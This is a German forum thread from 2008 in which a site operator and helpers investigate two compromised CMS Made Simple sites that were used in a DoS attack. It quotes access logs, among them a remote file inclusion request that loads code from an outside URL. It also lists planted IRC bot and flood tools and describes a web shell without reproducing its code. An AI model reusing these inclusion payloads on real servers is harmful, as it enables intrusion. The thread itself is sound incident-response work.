[geloest] CMSms-Seiten gehackt, kpl. Server vom Netz!!!

[tholler]

Hallo an alle,
eben hat mich unser Provider angerufen und mitgeteilt, dass gestern (10.06.08) abend ein DOS-Angriff von 2 von mir betreuten CMSms-Seiten ausgegangen ist. Daraufhin ist der kpl. Server, mit allen dort gehosteten Domains, netzwerkseitig getrennt worden.

Folgende Infos habe ich bisher von unserem Provider:
1. Der Hack erfolgte auf 2 CMSms-Sites (kiga-menden.de und eine andere).
2. Auf beiden Sites wurde ins TMP-Verzeichnis ein neues Verzeichnis erstellt. Es hat unterschiedliche Namen (SL und Flow). In diesem Verzeichnis befinden sich die DOS-Tools die für den DOS-Angriff genutzt werden.

Weitere Infos erhaltet Ihr, sobald der Server wieder am Netz ist und ich mir den Schaden betrachten kann. Unser Provider will mir auch alle Infos zukommen lassen; diese leite ich gerne weiter, möchte sie aber nicht offen hier ablegen.

Ach ja, auf allen von mir betreuten Seiten läuft die aktuelle Version 1.3!

Viele Grüße
Th. Holler

So lange der Server noch weg ist, Kontakt bitte an diese [email]tholler(at)gmx.de[/email]

[cyberman]

Mit diesen Infos solltest du dich an Ted oder Robert/Calguy1000 wenden.

Natürlich ist eine Frage dabei wichtig - wurde der Security-Thread vollständig umgesetzt?

Welche Berechtigung hattest du für /tmp vergeben?

[tholler]

Hallo Cyberman,

die TMP-Rechte: 705 und 755.

Wo finde ich den Security-Threat; ich finde in der Suche zwar einige Hinweise darauf, aber wo ist der Threat selber?
Oder meinst Du den von LeisureLarry?

Viele Grüße
TH

[tholler]

Nachschub an Infos:

Auf beiden Domains wurde eine Datei "s.php" auf die Root gelegt, der upload erfolgte über Java-Upload.
Gestern abend wurde der File ausgeführt; genau zu dem Zeitpunkt, als alles in die Hose ging.

Die Logfiles gibt es, sobald sie mir vorliegen.

Hier sind sie und die weiteren Infos des Providers:
Log-Einträge von kiga-menden.de:

10/access_log:81.180.210.132 - - [10/Jun/2008:21:59:18 +0200] "GET /s.php HTTP/1.1" 200 6572 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
10/access_log:81.180.210.132 - - [10/Jun/2008:21:59:21 +0200] "POST /s.php HTTP/1.1" 200 6708 "http://www.kiga-menden.de/s.php" "Mozilla/4.0 (compatible; MSIE  6.0; Windows NT 5.1; SV1)"
10/access_log:81.180.210.132 - - [10/Jun/2008:21:59:44 +0200] "POST /s.php HTTP/1.1" 200 6777 "http://www.kiga-menden.de/s.php" "Mozilla/4.0 (compatible; MSIE  6.0; Windows NT 5.1; SV1)"


Auffällig ist auch sowas:

08/access_log:72.46.131.186 - - [08/Jun/2008:14:08:33 +0200] "GET //lib/config.functions.php?dirname=http://www.com.ulaval.ca/st-hilaire/id.txt??
HTTP/1.1" 20
0 - "-" "libwww-perl/5.810"

Unter der angegebenen URL steht PHP-Code, der Details zum Server bzw. PHP ausliest.


cu all
Thorsten

[cyberman]

Oder meinst Du den von LeisureLarry?

Yep.

http://forum.cmsmadesimple.org/index.ph ... 664.0.html

Und natürlich hier

http://wiki.cmsmadesimple.org/index.php ... mall_Guide

[cyberman]

Auf beiden Domains wurde eine Datei "s.php" auf die Root gelegt,

Hmm, das klingt ja nach einem "offenen Scheunentor" ... sagtest du nicht gerade etwas von /tmp?

der upload erfolgte über Java-Upload.

Meinst du etwa über das Java-Postlet des FileManagers?

In der neuesten (SVN)-Version verfügt der Tiny ebenfalls über einen Filemanager - da könnstest du das FileManager-Modul beruhigt entfernen.

Unter der angegebenen URL steht PHP-Code, der Details zum Server bzw. PHP ausliest.

Hättest du den Sicherheits-Thread gelesen, wüsstest du, wie man das verhindern kann .

[tholler]

Auf beiden Domains wurde eine Datei "s.php" auf die Root gelegt,

Hmm, das klingt ja nach einem "offenen Scheunentor" ... sagtest du nicht gerade etwas von /tmp?

Richtig, da lag ein Verzeichnis mit dem Namen FL bzw. FLOOD.

Inhalt FL:
03.09.2006  02:02            20.358 configure
11.06.2008  12:43              contrib
11.06.2008  00:00                64 cyc.acc
11.06.2008  11:00            1.047 cyc.levels
10.06.2008  22:00                6 cyc.pid
11.06.2008  11:00              298 cyc.session
19.05.2008  10:12            1.310 cyc.set
03.09.2006  02:03            4.144 genuser
14.07.2005  14:51          590.481 httpd
10.07.2005  15:31            2.156 Makefile
11.06.2008  12:43              randfiles
05.07.2005  13:38            13.399 stealth
01.06.2006  14:40            21.534 xhide
              11 Datei(en),        654.797 Bytes

Verzeichnis von \contrib

11.06.2008  12:43              .
11.06.2008  12:43              ..
11.06.2008  12:43              config
23.06.2001  18:36            1.251 cvsupdate
11.06.2008  12:43              patches
              1 Datei(en),          1.251 Bytes

Verzeichnis von \config

11.06.2008  12:43              .
11.06.2008  12:43              ..
07.04.2001  04:38            5.843 config
07.04.2001  04:38            1.131 Input.pl
11.06.2008  12:43              servers
              2 Datei(en),          6.974 Bytes

Verzeichnis von \servers

11.06.2008  12:43              .
11.06.2008  12:43              ..
02.05.2001  09:40              289 DALNET
02.05.2001  09:40              543 EFNET
23.06.2001  04:18              735 UNDERNET
              3 Datei(en),          1.567 Bytes

Verzeichnis von \patches

11.06.2008  12:43              .
11.06.2008  12:43              ..
20.06.2001  03:32            6.901 emech-2.8.2-sha.diff
              1 Datei(en),          6.901 Bytes

Verzeichnis von \randfiles

11.06.2008  12:43              .
11.06.2008  12:43              ..
07.04.2001  04:38            5.195 randaway.e
07.04.2001  04:38            3.982 randinsult.e
07.04.2001  04:38              830 randkicks.e
07.04.2001  04:38              519 randnicks.e
07.04.2001  04:38            2.495 randpickup.e
07.04.2001  04:38            55.316 randsay.e
07.04.2001  04:38            3.651 randsignoff.e
07.04.2001  04:38            1.465 randversions.e

Inhalt FLOOD
08.09.2002  04:51            15.988 juno
09.02.2001  04:30            8.268 slice2
01.10.2001  20:59            8.268 slice3
06.08.2000  14:56            13.399 stealth
07.02.1996  03:38            17.690 synk
07.03.2002  05:29            14.911 vadimII

Die Files selber möchte ich nicht online stellen .

Vermutlich wurde durch den File S.PHP alles ausgelöst.

Hättest du den Sicherheits-Thread gelesen, wüsstest du, wie man das verhindern kann.

Meinst Du den Bereich mit .htaccess?

Viele Grüße
TH

[cyberman]

Genau diesen

Code: Select all

# No sense advertising what we are running
ServerSignature Off

[NaN]

Das Blöde ist, dass man nicht genau weiß, WANN diese Datei (s.php) auf dem Server gelandet ist.
Wann hast Du das Update auf die Version 1.2.5 bzw. 1.3 vorgenommen?
Möglicherweise war diese PHP-Datei bereits in Deinem Rootverzeichnis als Du das Update durchgeführt hast.
Damit bleibt das System natürlich weiterhin angreifbar.

Ich habe, seit dem ich Dateien auf meinem Webspace gefunden habe, die eindeutig NICHT zum CMS gehören, alles (Webspace und Datenbank) komplett gelöscht und mit der aktuellsten Version neu eingerichtet.

So wie es Robert/Calgyu1000 hier beschrieben hat:

http://forum.cmsmadesimple.org/index.php?topic=22516.0

Hier die deutsche Übersetzung von Cyberman:

http://forum.cmsmadesimple.org/index.ph ... 547.0.html

Wenn Du in Erfahrung bringen könntest, wann und wie diese Datei auf Deinen Webspace gelangen konnte und ob Du vor- oder nachher das Update eigespielt hast, wäre mir etwas wohler, da alle dazu aufgerufen wurden, aus Sicherheitsgründen auf die Version 1.2.5 Upzudaten (<- komisches Wort).
Wenn das die Sicherheitslücke nun doch nicht schließt, ist CMS Made Simple eine Gefahr für jeden Provider bzw. Webseitenbetreiber.
Welche Auswirkungen das auf dieses CMS hat, brauche ich ja nicht zu erwähnen.

...
Auffällig ist auch sowas:

08/access_log:72.46.131.186 - - [08/Jun/2008:14:08:33 +0200] "GET //lib/config.functions.php?dirname=http://www.com.ulaval.ca/st-hilaire/id.txt??
HTTP/1.1" 20
0 - "-" "libwww-perl/5.810"
...

In der Tat. Das sieht mir ganz nach dem Versuch aus, eine Datei namens id.txt auf Deinen Webspace zu laden.
Wie ich bereits in diesem Tread geschrieben habe:

http://forum.cmsmadesimple.org/index.ph ... #msg109336

war in meinem Fall ein Script auf dem Webspace, das solche hochgeladenen Dateien aus dem temporären Server-Verzeichnis ausliest und NICHT mit move_uploaded_file irgendwohin verschiebt (wie es üblicherweise mit hochgeladenen Dateien passieren sollte) sondern den Inhalt der Datei in einer Variablen speichert und diesen Inhalt mit Hilfe von eval() einfach ausführt.
Somit kann ungehindert jeder x-beliebige Code "On-The-Fly" auf Deinem Webspace ausgeführt werden.
Mich würde interessieren, ob außer im Root-Verzeichnis weitere Dateien auf Deinem Webspace sind, die nicht zum CMS gehören.
Eine s.php gibt es im ganzen System nicht.
Auch keine php-Dateien mit irgendwelchen Präfixen gefolgt von zwei Unterstrichen.
Bsp. update__action.default.php.
Eine action.default.php gehört zwar zu fast jedem Modul (sofern es Funktionen für das Frontend liefert) jedoch auf keinen Fall mit irgendwelchen Präfixen (schon gar keine zwei Unterstriche).

Außerdem würde mich der Inhalt der s.php interessieren.
Wenn Du diese Datei nicht veröffentlichen oder per Mail an jemanden versenden möchtest (was ich durchaus verstehen könnte) würde mir zumindest helfen - sofern Du Dich mit PHP auskennst - was diese Datei theoretisch macht.

[tholler]

Auswertung Log-Files

08.06.08

Eventfotografie24.de
72.46.131.186 - - [08/Jun/2008:14:10:26 +0200] "GET //lib/config.functions.php?dirname=http://www.com.ulaval.ca/st

-hilaire/id.txt?? HTTP/1.1" 200 - "-" "libwww-perl/5.810"

kiga-menden.de
72.46.131.186 - - [08/Jun/2008:14:08:33 +0200] "GET //lib/config.functions.php?dirname=http://www.com.ulaval.ca/st

-hilaire/id.txt?? HTTP/1.1" 200 - "-" "libwww-perl/5.810"
72.46.131.186 - - [08/Jun/2008:14:18:17 +0200] "GET /index.php?page=formulare//lib/config.functions.php?

dirname=http://www.com.ulaval.ca/st-hilaire/id.txt?? HTTP/1.1" 404 195 "-" "libwww-perl/5.810"
72.46.131.186 - - [08/Jun/2008:14:18:18 +0200] "GET //lib/config.functions.php?dirname=http://www.com.ulaval.ca/st

-hilaire/id.txt?? HTTP/1.1" 200 - "-" "libwww-perl/5.810"


10.06.08

Eventfotografie24.de
82.194.62.230 - - [10/Jun/2008:12:45:30 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
82.194.62.227 - - [10/Jun/2008:20:18:17 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
217.219.222.20 - - [10/Jun/2008:20:22:41 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
195.75.146.228 - - [10/Jun/2008:20:26:55 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
193.188.105.235 - - [10/Jun/2008:20:27:38 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
200.75.8.98 - - [10/Jun/2008:20:29:28 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
201.0.141.164 - - [10/Jun/2008:20:33:57 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"
193.188.105.235 - - [10/Jun/2008:20:35:13 +0200] "POST /modules/FileManager/postlet/javaUpload.php HTTP/1.1" 403 244 "-" "Opera/9.26 (Windows NT 5.1; U; en)"

kiga-menden.de
81.180.210.132 - - [10/Jun/2008:21:59:18 +0200] "GET /s.php HTTP/1.1" 200 6572 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.180.210.132 - - [10/Jun/2008:21:59:21 +0200] "POST /s.php HTTP/1.1" 200 6708 "http://www.kiga-menden.de/s.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
81.180.210.132 - - [10/Jun/2008:21:59:44 +0200] "POST /s.php HTTP/1.1" 200 6777 "http://www.kiga-menden.de/s.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

So, das war jetzt mal eine Fleißaufgabe.

[NaN]

Ich bezweifle, dass die Logs vom 08.06.08 allein ausreichen.
Die CMSms Version 1.2.5 gibt es seit 12.05.08.
Bis zum Update hätte die s.php (oder irgendeine andere php-Datei) über die Sicherheitslücke im Java-Upload-Applet des FileManagers bereits auf den Server geladen werden können.
Man müsste im Prinzip das Erstellungsdatum der s.php bzw. eventueller anderer php-Dateien, die nicht zum CMS gehören, mit dem Datum des Updates vergleichen.
Das ganze Prozedere dient im Grunde nur dazu, um festzustellen, ob es eine weitere Sicherheitslücke im CMS gibt, oder, ob der Schaden bereits viel früher durch eine ältere Version entstanden ist und lediglich jetzt (nach dem Update) zum Tragen kommt.

Die s.php habe ich mir gerade angeschaut.
Ich bin kein Programmierer. Daher könnte es etwas dauern, bis ich die Funktionen verstanden habe. Allerdings ist in Deinem Fall die PHP-Datei wesentlich umfangreicher als es bei mir der Fall war.

Das Script zu verstehen ist allerdings nicht der wichtige Punkt.
Wichtig ist, wie es überhaupt auf den Server gelangen und ausgeführt werden konnte.
Wie man sowas vermeidet, dazu gibt es einige gute Hinweise im Security Thread.

Soviel konnte ich bisher aus dem Script entnehmen:

Das Script liest Serverkonfigurationen aus und setzt diese neu ! Somit können z.B. der Safe_Mode oder nicht erlaubte Funktionen umgangen werden.
Weiterhin sieht es so aus, als ob das Passwort zur Datenbank ausgelesen wurde.
In Zeile 815 - 853 sieht es so aus, als würden irgendwelche Daten (eventuell ganze Dateien) in einer Datenbank gespeichert werden. Das hätte zur Folge, dass das Löschen schadhafter Dateien vom Webspace jederzeit wieder rückgängig gemacht werden könnte. In welcher Datenbank das Zeug gespeichert wurde ist mir noch nicht ganz klar. Das kann Deine eigene oder eine vom Script selber angelegte sein.
Dazu müsstest Du Deinen Provider mal fragen (ich hoffe, er hat ebenfalls diese s.php bekommen).
Wie auch immer: Datenbank Passwort ändern reicht leider nicht aus.
Du müsstest die Datenbanken neu anlegen.

Kurz: Die beiden Seiten komlett neu aufsetzen.

Vorher würde ich die alten Datenbanken exportieren und sichern.
Mann kann dann die Inhalte der Seite aus der gehackten Datenbank wieder herausfiltern und in die neue Datenbank einfügen. Dazu muss man sich allerdings ein wenig mit dem Aufbau der Datenbank für das CMS auskennen.
(Zur Not findest Du hier im Forum Hilfe.)

[NaN]

Wie man aus den Logs entnehmen kann, wurde am 08.06.08 direkt vom Browser aus auf die Datei lib/config.functions.php mit einer Variable namens dirname zugegriffen.
Soweit ich weiß, werden die meisten php-Dateien aus dem lib-Verzeichnis lediglich eingebunden. Einen direkt Zugriff sollte man auf jeden Fall verbieten. (Siehe Security Thread - Schritt 5)
Man hat ohnehin keinen direkten Zugriff auf das lib Verzeichnis (siehe Security Thread - Schritt 4: options -indexes)

Was man nicht weiß, ist, ob es sich tatsächlich noch um die Original-Datei lib/config.functions.php handelt, oder ob diese bereits verändert wurde oder, ob diese tatsächlich eine weitere Sicherheitslücke beinhaltet.

Wie man weiterhin erkenn kann, wurden am 10.06.08 über den FileManager Dateien hochgeladen.
Mit einem Update auf die Version 1.2.5 hätte das eigentlich nicht passieren dürfen.
Auch hier ist wieder die Frage, ob der FileManager nach dem Update manipuliert wurde oder evtl. weitere Sicherheitslücken beinhaltet.
Den Zugriff auf das Admin-Verzeichnis sollte man auf jeden Fall durch ein Passwort schützen. (siehe Security Thread - Schritt 2)

Ich vermute mal ganz stark, dass Du ein Update auf ein bereits "infiziertes" CMS vorgenommen hast. (ich hoffe es)

Dazu nochmal an alle:
CMSms verwendet keine kryptischen oder nichtssagenden Dateinamen. (Bsp.: s.php)
Es werden auch keine Präfixe verwendet. (Bsp: präfix_index.php)
Man sollte auf jeden Fall VOR dem Update auf eine neue Version, die Sicherheitslücken behebt, prüfen, ob diese Sicherheitslücken nicht bereits ausgenutzt wurden.
Befinden sich irgendwelche Scripte oder ausführbare Dateien, die nicht zum CMS gehören, auf dem Webspace, sollte dieser komplett neu eingerichtet werden, da man nicht weiß inwieweit das CMS bereits manipuliert wurde.
Das selbe gilt für die Datenbank.

[tholler]

Hallo zusammen,

so langsam werde ich zu sherlock holmes; hier noch einige neue infos, über die man ggf. prüfen kann, ob die seite gehackt worden ist:

unter module/filemanager gibt es beim gehackten system einen ordner "fast" in dem sich mehrere dateien (ca. 10 - 15) befinden; u.a. ein file mit dem namen xhide, der vom virenscanner (Free-AV) als  'LINUX/Procfake' [virus] erkannt wird.
Weiterhin gibt es im ordner "postlet" div. files.

Das Filedatum ist bei allen Dateien unterschiedlich:

kiga-menden, fast
drwxr-x---  2 username www          4096 May 13 14:00 .
drwxr-xr-x  8 username www          4096 Jun 12 05:23 ..
-rwxr-x---  1 username www          304 May 15 11:00 1
-rwxr-x---  1 username www          304 May 15 11:00 2
-rwxr-x---  1 username www          304 Jun 10 03:00 3
-rwxr-x---  1 username www          285 May 10 09:09 4
-rw-r--r--  1 username www        17127 May 15 11:30 Catalin.seen
-rw-r--r--  1 username www        17996 Jun 10 03:10 Marian.seen
-rwxr-x---  1 username www          111 Nov  1  2007 go
-rwxr-x---  1 username www        608374 Oct 23  2005 httpd
-rw-r--r--  1 username www          1043 Jun 10 20:00 raw.levels
-rw-------  1 username www            6 May 13 11:06 raw.pid
-rw-r--r--  1 username www          1513 Jun 10 20:00 raw.session
-rwxr-x---  1 username www          5456 May 10 09:06 raw.set
-rwxr-x---  1 username www        21534 Mar 15  2007 xhide
-rw-rw-rw-  1 username www            6 May 13 11:06 …À‰ÂŒ

[cyberman]

auf beiden domains im ordner postlet
drwx---r-x  2 username www          4096 May 14 06:27 .
drwx---r-x  8 username www          4096 Jun 12 05:03 ..
-rw----r--  1 username www        18011 Dec  4  2007 LICENCE
-rw----r--  1 username www          1026 Dec  4  2007 README
-rw----r--  1 username www            89 May 13 13:56 [PATH TO UPLOAD DIRECTORY].php.dhtml
-rw----r--  1 username www            6 May 14 06:27 index.html
-rw----r--  1 username www          1515 May 14 06:27 index.html.txt
-rw----r--  1 username www            6 May 14 06:27 javaUpload.php
-rw----r--  1 username www          4182 May 14 06:27 javaUpload.php.txt
-rw----r--  1 username www          629 Dec  9  2006 perl.txt
-rw----r--  1 username www        31326 Dec  4  2007 postlet.jar
-rw----r--  1 username www          269 Dec  4  2007 uploadTest.html

Zu dem Postlet-Ordner gabs hier eine Empfehlung ...

http://forum.cmsmadesimple.org/index.ph ... #msg109644

[tholler]

Habe erstmal auf allen Domains das POSTLET-Verzeichnis umbenannt; mal sehen was da jetzt wo nicht mehr geht.

Bei den nicht infizierten Domains hatte das Verzeichni9s übrigens keinen Inhalt. Bei den infizierten schon.